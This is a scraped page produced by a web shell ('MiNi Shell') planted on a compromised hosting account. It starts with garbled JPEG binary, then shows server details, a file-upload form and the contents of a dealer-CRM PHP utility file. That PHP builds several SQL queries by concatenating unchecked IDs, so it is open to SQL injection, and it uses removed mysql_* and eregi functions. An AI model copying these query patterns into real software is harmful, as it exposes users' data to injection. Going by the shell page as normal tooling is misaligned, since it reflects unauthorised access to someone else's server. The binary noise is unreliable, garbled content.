JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b1705/absoluteresultstechnologies.net/lacombinaisonparfaite/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/b1705/absoluteresultstechnologies.net/lacombinaisonparfaite/displayUtils.php

<?php

function htmlEntitiesArray($arr)
{
	foreach($arr as $key => $val)
		$arr[$key] = htmlentities($val);
		
	return $arr;
}

function displayContactName($contactArr, $lastNameFirst = true, $nameOverride = false)
{
	if($nameOverride)
		return trim($contactArr['firstName'] . ' ' . $contactArr['lastName']);
	else if($lastNameFirst && $contactArr['lastName'] != '' && $contactArr['firstName'] != '')
		return '<b>' . $contactArr['lastName'] . '</b>, ' . $contactArr['firstName'];
	else if(!$lastNameFirst && $contactArr['lastName'] != '' && $contactArr['firstName'] != '')
		return $contactArr['firstName'] . ' ' . $contactArr['lastName'];
	else if($contactArr['companyName'] != '')
		return $contactArr['companyName'];
	else if($contactArr['lastName'] != '')
		return $contactArr['lastName'];
	else if($contactArr['firstName'] != '')
		return $contactArr['firstName'];
	else 
		return 'N/A';
}

function displayPhone($phone)
{	
	$phone = preg_replace("/[^0-9]/", "", $phone); 	
	if(strlen($phone) == 7)		
		return preg_replace("/([0-9]{3})([0-9]{4})/", "$1-$2", $phone);	
	elseif(strlen($phone) == 10)		
		return preg_replace("/([0-9]{3})([0-9]{3})([0-9]{4})/", "$1-$2-$3", $phone);	
	else		
		return $phone;
} 

function undisplayPhone($phone)
{
	return str_replace("-","",$phone);
}

function displayDate($date,$noTime = false,$short = false)
{
	if($date == '')
		return '';
	
	if($short)
	{
		if($noTime)
			return date("n/d/y",strtotime($date));
		else
			return date("n/d/y G:i",strtotime($date));		
	}
	else
	{
		if($noTime)
			return date("M j, Y",strtotime($date));
		else
			return date("M j, Y g:i a",strtotime($date));
	}
}

function calcElapsedTime($oldTime,$newTime)
{ 
	$diff = $newTime-$oldTime;
	$daysDiff = floor($diff/60/60/24);
	$diff -= $daysDiff*60*60*24;
	$hrsDiff = floor($diff/60/60);
	$diff -= $hrsDiff*60*60;
	$minsDiff = floor($diff/60);
	$diff -= $minsDiff*60;
	$secsDiff = $diff;
	return array('days' => $daysDiff,
				 'hours' => $hrsDiff,
				 'mins' => $minsDiff,
				 'secs' => $secsDiff);
}

function callStatusIDToDescription($id)
{
	$sql = 'SELECT description FROM ps_callstatus WHERE callStatusID = ' . $id;
	$callStatusResult = mysql_query($sql);
	
	if(mysql_num_rows($callStatusResult) == 1)
	{
		$row = mysql_fetch_assoc($callStatusResult);
		return $row['description'];
	}
	return '';
}

function validateEmailAddress($emailStr)
{
	$emailsArray = parseEmailArray($emailStr);

	foreach($emailsArray as $email)
	{
		if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$", $email)) 
			return false;
	}		
	
	return true;
}

function parseEmailArray($emails)
{
	return explode(';',$emails);
}

function displayPercentage($num)
{
	return number_format($num*100,1) . '%';
}

function scrollTo($div,$post = 'scrollPosition',$scroll = 0)
{	
	?>
	<script>
		function scrollUp<?= $post ?>()
		{
			document.getElementById('<?= $div ?>').scrollTop = <?= $scroll ?>;
		}
		
		setTimeout("scrollUp<?= $post ?>()", 0); 
	</script>
	<?php
}
/*
function scrollTo($div,$post = 'scrollPosition')
{	
	if(isset($_POST[$post]))
	{
	?>
	<script>
		function scrollUp<?= $post ?>()
		{
			document.getElementById('<?= $div ?>').scrollTop = <?= $_POST[$post] ?>;
		}
		
		setTimeout("scrollUp<?= $post ?>()", 0); 
	</script>
	<?php
	}
}
*/
function stripComma($str)
{
	return str_replace(","," ",$str);
}
function replaceQuotes($str)
{
	return str_replace(array("'"),"`",$str);
}
function unreplaceQuotes($str)
{
	return str_replace(array("`"),"'",$str);
}
function ajaxHTML($str)
{
	return str_replace(array("'"),"\'",str_replace(array("\r","\n"),'',$str));
}

function displayDealerInfo($dealerID)
{
	if($dealerID != '') return mysql_fetch_assoc(mysql_query('SELECT * FROM ps_dealers WHERE dealerID = ' . $dealerID));
	else return array();
}

function displayStaffInfo($staffID)
{
	$sql = 'SELECT * FROM ps_staff WHERE staffID = ' . $staffID;
	return mysql_fetch_assoc(mysql_query($sql));
}

function convertSpecialChars($text)
{
	return str_replace(array('#','&'),array('__POUND__','__AMP__'),$text);
}

function revertSpecialChars($text)
{
	return str_replace(array('__POUND__','__AMP__'),array('#','&'),$text);
}

function dealerFolder($dealer,$fullPath = true)
{	
	if($dealer['dealerID'] == 146) $f = 'N-Z/Pfaff Motors/';
	else if($dealer['dealerID'] == 147) $f = 'N-Z/Pfaff Motors/';
	else if(substr($dealer['dealerName'],0,1) <= 'M') $f = 'A-M';
	else $f = 'N-Z';
	
	if($fullPath) return 'D:/SHARED/Shared Files/Absolute Results/' . $f . '/' . $dealer['dealerName'];
	else return $f . '/' . $dealer['dealerName'];
}

function eventFiles($dealer,$eventStart,$eventEnd, $findImages = false)
{	
	$fileList = array();
	
	$searchYear = date("Y",strtotime($eventEnd));
	$searchMonth = date("my",strtotime($eventEnd));
	$searchDay = date("yyyy-mm-dd",strtotime($eventEnd));
	
	$dealerFolder = dealerFolder($dealer);
	
	$folderList = scandir($dealerFolder);
	foreach($folderList as $foldername)
	{
		if(is_dir($dealerFolder.'/'.$foldername))
		{
			if(substr(basename($foldername),-5) == " " . $searchYear)
			{
				$yearDir = $dealerFolder.'/'.$foldername;
				break;
			}
			else if(substr(basename($foldername),-5) == " " . $searchMonth)
			{
				$monthDir = $dealerFolder.'/'.$foldername;
				break;
			}
		}
	}
	if($yearDir != "")
	{
		$folderList = scandir($yearDir);
		foreach($folderList as $foldername)
		{
			if(is_dir($yearDir.'/'.$foldername))
			{
				if(substr(basename($foldername),-5) == " " . $searchMonth)
				{
					$monthDir = $yearDir.'/'.$foldername;
					break;
				}
			}	
		}			
	}
	
	if($monthDir != "")
	{
		$dayDir = $monthDir;
		$folderList = scandir($monthDir);
		foreach($folderList as $foldername)
		{
			if(is_dir($monthDir.'/'.$foldername))
			{
				if(strtotime($foldername) !== false && !in_array($foldername,array('.','..')))
				{
					if(strtotime($foldername) >= strtotime($eventStart) && strtotime($foldername) <= strtotime($eventEnd))
					{
						$dayDir = $monthDir.'/'.$foldername;
					}
				}
			}	
		}	
		
		if(!$findImages)
		{
			$filesList = scandir($dayDir);
			foreach($filesList as $file)
			{
				$info = pathinfo($file);
	 			$filename =  basename($file,'.'.$info['extension']);
	 
				if(substr($filename,-2) == " f" || substr($filename,-2) == "_f")
				{
					$fileList[] = array('filename' => $file,
										'path' => str_replace('D:/SHARED/Shared Files/Absolute Results/','',$dayDir));
				}
			}	
		}
		else
		{
			$filesList = scandir($dayDir.'/images');
			foreach($filesList as $file)
			{
				$info = pathinfo($file);
	 			$filename =  basename($file,'.'.$info['extension']);
	 			if(in_array(strtolower($info['extension']),array('jpg','jpeg','png'))) $fileList[] = array('filename' => $file, 'path' => str_replace('D:/SHARED/Shared Files/Absolute Results/','',$dayDir).'/images');
			}	
		}			
	}
	
	return $fileList;
}

function dateFR($datetime)
{ 
	$m = strtolower(date("n",$datetime));
	$param_F = array('', 'Janvier', 'F&eacute;vrier', 'Mars', 'Avril', 'Mai', 'Juin', 'Juillet', 'Ao&ucirc;t', 'Septembre', 'Octobre', 'Novembre', 'D&eacute;cembre');
	return html_entity_decode(strtolower(date("j ",$datetime) . $param_F[$m] . date(" Y",$datetime)));
} 

function displayDealerLog($dealerID)
{
	$dealerNoteSQL = 'SELECT notes FROM ps_dealers WHERE notes is not null AND notes != "" AND dealerID = ' . $dealerID;
	$dealerNoteResults = mysql_query($dealerNoteSQL);
	
	$followUpSQL = 'SELECT * FROM ps_dealerevents WHERE followUpNotes is not null AND followUpNotes != "" AND dealerID = ' . $dealerID . ' ORDER BY followUpDate DESC';
	$followUpResults = mysql_query($followUpSQL);
	
	$privateNotesSQL = 'SELECT * FROM ps_worksheets WHERE privateNotes is not null AND privateNotes != "" AND dealerID = ' . $dealerID . ' ORDER BY eventStart DESC';
	$privateNotesResults = mysql_query($privateNotesSQL);		
	
	$publicCommentsSQL = 'SELECT * FROM ps_dealerevents WHERE comments is not null AND comments != "" AND dealerID = ' . $dealerID . ' ORDER BY saleStartDate DESC';
	$publicCommentsResults = mysql_query($publicCommentsSQL);
	
	$privateCommentsSQL = 'SELECT * FROM ps_dealerevents WHERE privateComments is not null AND privateComments != "" AND dealerID = ' . $dealerID . ' ORDER BY saleStartDate DESC';
	$privateCommentsResults = mysql_query($privateCommentsSQL);
	
	$notesSQL = 'SELECT * FROM (SELECT * FROM ps_notes WHERE dealerID = ' . $dealerID . ' ORDER BY date DESC) as t1 INNER JOIN ps_staff USING (staffID)';
	$notesResults = mysql_query($notesSQL);
	
	//$dealershipHTML .= '<tr><td>' . $followUpSQL . '<td></tr>';	
	while($dealerNote = mysql_fetch_assoc($dealerNoteResults))
	{				
		$dealershipHTML .= '<tr><td><b><i>Dealer Notes</b></i><td></tr>';
		$dealershipHTML .= '<tr><td style="padding-bottom:10px">' . str_replace(array(chr(13),"\n"),'<br>',$dealerNote['notes']) . '<td></tr>';		
	}	
	
	$logArray = array();
	$i = 0;
	while($followUp = mysql_fetch_assoc($followUpResults))
	{
		$tHtml = '';				
		$tHtml .= '<tr><td><b><i>Follow Up Note</b> - ' . date("M j,Y",strtotime($followUp['followUpDate'])) . ' - <a href="#" onClick="editEvent(' . $followUp['eventID'] . ',\'edit\')" style="color:blue">' . $followUp['eventName'] . '</a></i><td></tr>';
		$tHtml .= '<tr><td style="padding-bottom:10px">' . str_replace(array(chr(13),"\n"),'<br>',$followUp['followUpNotes']) . '<td></tr>';		
		
		$logArray[$followUp['followUpDate'] . $i] = $tHtml;
		$i++;
	}	
	
	while($privateNote = mysql_fetch_assoc($privateNotesResults))
	{
		$tHtml = '';				
		$tHtml .= '<tr><td><b><i>Agreement Note</b> - ' . date("M j,Y",strtotime($privateNote['eventStart'])) . ' - <a href="#" onClick="editWorksheet(' . $privateNote['worksheetID'] . ')" style="color:blue">#' . displayWorksheetNum($privateNote) . '</a></i><td></tr>';
		$tHtml .= '<tr><td style="padding-bottom:10px">' . str_replace(array(chr(13)),'<br>',$privateNote['privateNotes']) . '<td></tr>';		
		
		$logArray[$privateNote['eventStart'] . $i] = $tHtml;
		$i++;
	}	
	
	while($publicComments = mysql_fetch_assoc($publicCommentsResults))
	{
		$tHtml = '';				
		$tHtml .= '<tr><td><b><i>Event Public Comments</b> - ' . date("M j,Y",strtotime($publicComments['saleStartDate'])) . ' - ' . ucwords(strtolower($publicComments['trainers'])) . '</i><td></tr>';
		$tHtml .= '<tr><td style="padding-bottom:10px">' . str_replace(array(chr(13),"\n"),'<br>',$publicComments['comments']) . '<td></tr>';		
		
		$logArray[$publicComments['saleStartDate'] . $i] = $tHtml;
		$i++;
	}	
	
	while($privateComments = mysql_fetch_assoc($privateCommentsResults))
	{
		$tHtml = '';				
		$tHtml .= '<tr><td><b><i>Event Private Comments</b> - ' . date("M j,Y",strtotime($privateComments['saleStartDate'])) . ' - ' . ucwords(strtolower($publicComments['trainers'])) . '</i><td></tr>';
		$tHtml .= '<tr><td style="padding-bottom:10px">' . str_replace(array(chr(13),"\n"),'<br>',$privateComments['privateComments']) . '<td></tr>';		
		
		$logArray[$publicComments['saleStartDate'] . $i] = $tHtml;
		$i++;
	}	
	
	
	while($note = mysql_fetch_assoc($notesResults))
	{
		$tHtml = '';				
		$tHtml .= '<tr><td><b><i>Dealer Notes</b> - ' . date("M j,Y g:i a",strtotime($note['date'])) . ' - ' . $note['name'] . '</i><td></tr>';
		$tHtml .= '<tr><td style="padding-bottom:10px">' . str_replace(array(chr(13),"\n"),'<br>',$note['note']) . '<td></tr>';		
		
		$logArray[$note['date'] . $i] = $tHtml;
		$i++;
	}	
	
	
	krsort($logArray);
	
	return $logArray;
}

?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com